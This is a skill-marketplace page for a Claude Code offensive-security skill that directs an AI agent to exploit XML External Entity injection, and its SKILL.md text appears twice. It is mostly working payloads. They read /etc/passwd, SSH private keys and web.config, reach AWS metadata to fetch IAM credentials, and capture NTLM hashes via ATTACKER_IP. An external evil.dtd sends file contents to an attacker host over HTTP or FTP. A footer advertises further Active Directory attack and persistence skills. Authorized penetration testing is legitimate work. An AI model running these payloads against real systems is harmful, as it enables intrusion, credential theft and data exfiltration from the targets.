/xxe
Guide XML External Entity (XXE) injection exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill xxe --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/xxe
Context preview
The summary Claude sees to decide when to auto-load this skill.
Guide XML External Entity (XXE) injection exploitation during authorized penetration testing.
SKILL.md
xxe.SKILL.mdname: xxe
description: >
Guide XML External Entity (XXE) injection exploitation during authorized
penetration testing.
keywords:
- XXE
- XML injection
- XML external entity
- DTD injection
- XML entity expansion
- blind XXE
- OOB XXE
- out-of-band XXE
- error-based XXE
- XInclude
- SVG XXE
- DOCX XXE
- XLSX XXE
- SOAP XXE
tools:
- burpsuite
- xxeserv
- oxml_xxe
- interactsh
opsec: medium
XML External Entity (XXE) Injection
You are helping a penetration tester exploit XXE injection. The target application parses XML input without disabling external entity resolution. The goal is to read files, perform SSRF, or achieve remote code execution via entity processing. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[xxe] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- An endpoint that parses XML (POST body, file upload, SOAP, SAML, RSS/Atom feed)
- Common vulnerable surfaces: XML APIs, file import (DOCX/XLSX/SVG), SOAP services,
SAML SSO, XML-RPC, content-type switchable endpoints (JSON → XML)
Step 1: Assess
If not already provided, determine: 1. **Injection surface** — direct XML body, file upload, SOAP envelope, SAML assertion, parameter within XML 2. **Parser technology** — PHP (libxml2), Java (DocumentBuilder, SAX, JAXB), .NET (XmlDocument, XmlReader), Python (lxml, etree) 3. **Reflection** — is entity content reflected in the response? (classic vs blind) 4. **Outbound connectivity** — can the server make HTTP/DNS/FTP requests outbound?
Quick detection probe (replace entity in a reflected field):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "testvalue123">]>
<root><field>&xxe;</field></root>
If `testvalue123` appears in the response, the parser resolves entities — proceed to Step 2. If not reflected, skip to Step 4 (blind).
Skip assessment if context was already provided.
Step 2: Classic XXE (File Read)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><field>&xxe;</field></root>
Swap the ENTITY URI for other targets. All variations below use this same wrapper.
<!-- Windows -->
<!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
<!-- PHP base64 (avoids XML special char issues with <, &) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!-- PHP expect (RCE — requires expect extension) -->
<!ENTITY xxe SYSTEM "expect://id">
<!-- Java directory listing (file:// on a directory lists contents) -->
<!ENTITY xxe SYSTEM "file:///">
<!ENTITY xxe SYSTEM "file:///etc/">
**Useful targets — Linux:** `/etc/passwd`, `/etc/hostname`, `/proc/self/environ`, `/home/<user>/.ssh/id_rsa`, `/var/www/html/config.php`
**Windows:** `C:\windows\win.ini`, `C:\inetpub\wwwroot\web.config`
Step 3: XXE to SSRF
Use the same wrapper from Step 2 with HTTP/UNC URIs:
<!-- Internal resource access -->
<!ENTITY xxe SYSTEM "http://internal.service:8080/admin">
<!-- AWS IMDSv1 — enumerate roles, then fetch credentials -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME">
<!-- NTLM hash capture (Windows — set up Responder first) -->
<!ENTITY xxe SYSTEM "file://///ATTACKER_IP/share/test.jpg">
Step 4: Blind XXE (Out-of-Band)
When entity content is not reflected in the response.
OOB Detection (Ping)
General entity — triggers HTTP callback:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://CALLBACK.burpcollaborator.net">
]>
<root><field>&xxe;</field></root>
Parameter entity — works when general entities are blocked:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://CALLBACK.burpcollaborator.net/detect">
%xxe;
]>
<root></root>
If you receive a callback, the parser resolves external entities — proceed to exfiltration.
OOB Exfiltration via External DTD
XML payload (send to target):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd">
%dtd;
]>
<root></root>
Host `evil.dtd` on your server:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ATTACKER/?data=%file;'>">
%eval;
%exfil;
Data arrives as a query parameter in your HTTP logs.
**Limitation**: HTTP exfiltration breaks on multi-line files. Workarounds:
- **PHP**: swap file entity to `php://filter/convert.base64-encode/resource=/etc/passwd`
- **FTP**: swap exfil URI to `ftp://ATTACKER:2121/%file;` — FTP handles newlines
(required for Java targets)
FTP server for OOB:
xxeserv -o files.log -p 2121 -w -wd public -wp 8000 # staaldraad/xxeserv
python3 230-OOB.py 2121 # lc/230-OOB
Step 5: Error-Based XXE
Read more
name: xxe description: > Guide XML External Entity (XXE) injection exploitation during authorized penetration testing. keywords: - XXE - XML injection - XML external entity - DTD injection - XML entity expansion - blind XXE - OOB XXE - out-of-band XXE - error-based XXE - XInclude - SVG XXE - DOCX XXE - XLSX XXE - SOAP XXE tools: - burpsuite - xxeserv - oxml_xxe - interactsh opsec: medium
XML External Entity (XXE) Injection
You are helping a penetration tester exploit XXE injection. The target application parses XML input without disabling external entity resolution. The goal is to read files, perform SSRF, or achieve remote code execution via entity processing. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[xxe] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- An endpoint that parses XML (POST body, file upload, SOAP, SAML, RSS/Atom feed)
- Common vulnerable surfaces: XML APIs, file import (DOCX/XLSX/SVG), SOAP services,
SAML SSO, XML-RPC, content-type switchable endpoints (JSON → XML)
Step 1: Assess
If not already provided, determine: 1. **Injection surface** — direct XML body, file upload, SOAP envelope, SAML assertion, parameter within XML 2. **Parser technology** — PHP (libxml2), Java (DocumentBuilder, SAX, JAXB), .NET (XmlDocument, XmlReader), Python (lxml, etree) 3. **Reflection** — is entity content reflected in the response? (classic vs blind) 4. **Outbound connectivity** — can the server make HTTP/DNS/FTP requests outbound?
Quick detection probe (replace entity in a reflected field):
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY xxe "testvalue123">]> <root><field>&xxe;</field></root>
If `testvalue123` appears in the response, the parser resolves entities — proceed to Step 2. If not reflected, skip to Step 4 (blind).
Skip assessment if context was already provided.
Step 2: Classic XXE (File Read)
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root><field>&xxe;</field></root>
Swap the ENTITY URI for other targets. All variations below use this same wrapper.
<!-- Windows --> <!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts"> <!-- PHP base64 (avoids XML special char issues with <, &) --> <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> <!-- PHP expect (RCE — requires expect extension) --> <!ENTITY xxe SYSTEM "expect://id"> <!-- Java directory listing (file:// on a directory lists contents) --> <!ENTITY xxe SYSTEM "file:///"> <!ENTITY xxe SYSTEM "file:///etc/">
**Useful targets — Linux:** `/etc/passwd`, `/etc/hostname`, `/proc/self/environ`, `/home/<user>/.ssh/id_rsa`, `/var/www/html/config.php`
**Windows:** `C:\windows\win.ini`, `C:\inetpub\wwwroot\web.config`
Step 3: XXE to SSRF
Use the same wrapper from Step 2 with HTTP/UNC URIs:
<!-- Internal resource access --> <!ENTITY xxe SYSTEM "http://internal.service:8080/admin"> <!-- AWS IMDSv1 — enumerate roles, then fetch credentials --> <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"> <!-- NTLM hash capture (Windows — set up Responder first) --> <!ENTITY xxe SYSTEM "file://///ATTACKER_IP/share/test.jpg">
Step 4: Blind XXE (Out-of-Band)
When entity content is not reflected in the response.
OOB Detection (Ping)
General entity — triggers HTTP callback:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://CALLBACK.burpcollaborator.net"> ]> <root><field>&xxe;</field></root>
Parameter entity — works when general entities are blocked:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://CALLBACK.burpcollaborator.net/detect"> %xxe; ]> <root></root>
If you receive a callback, the parser resolves external entities — proceed to exfiltration.
OOB Exfiltration via External DTD
XML payload (send to target):
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://ATTACKER/evil.dtd"> %dtd; ]> <root></root>
Host `evil.dtd` on your server:
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ATTACKER/?data=%file;'>"> %eval; %exfil;
Data arrives as a query parameter in your HTTP logs.
**Limitation**: HTTP exfiltration breaks on multi-line files. Workarounds:
- **PHP**: swap file entity to `php://filter/convert.base64-encode/resource=/etc/passwd`
- **FTP**: swap exfil URI to `ftp://ATTACKER:2121/%file;` — FTP handles newlines
(required for Java targets)
FTP server for OOB:
xxeserv -o files.log -p 2121 -w -wd public -wp 8000 # staaldraad/xxeserv python3 230-OOB.py 2121 # lc/230-OOB
Step 5: Error-Based XXE
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

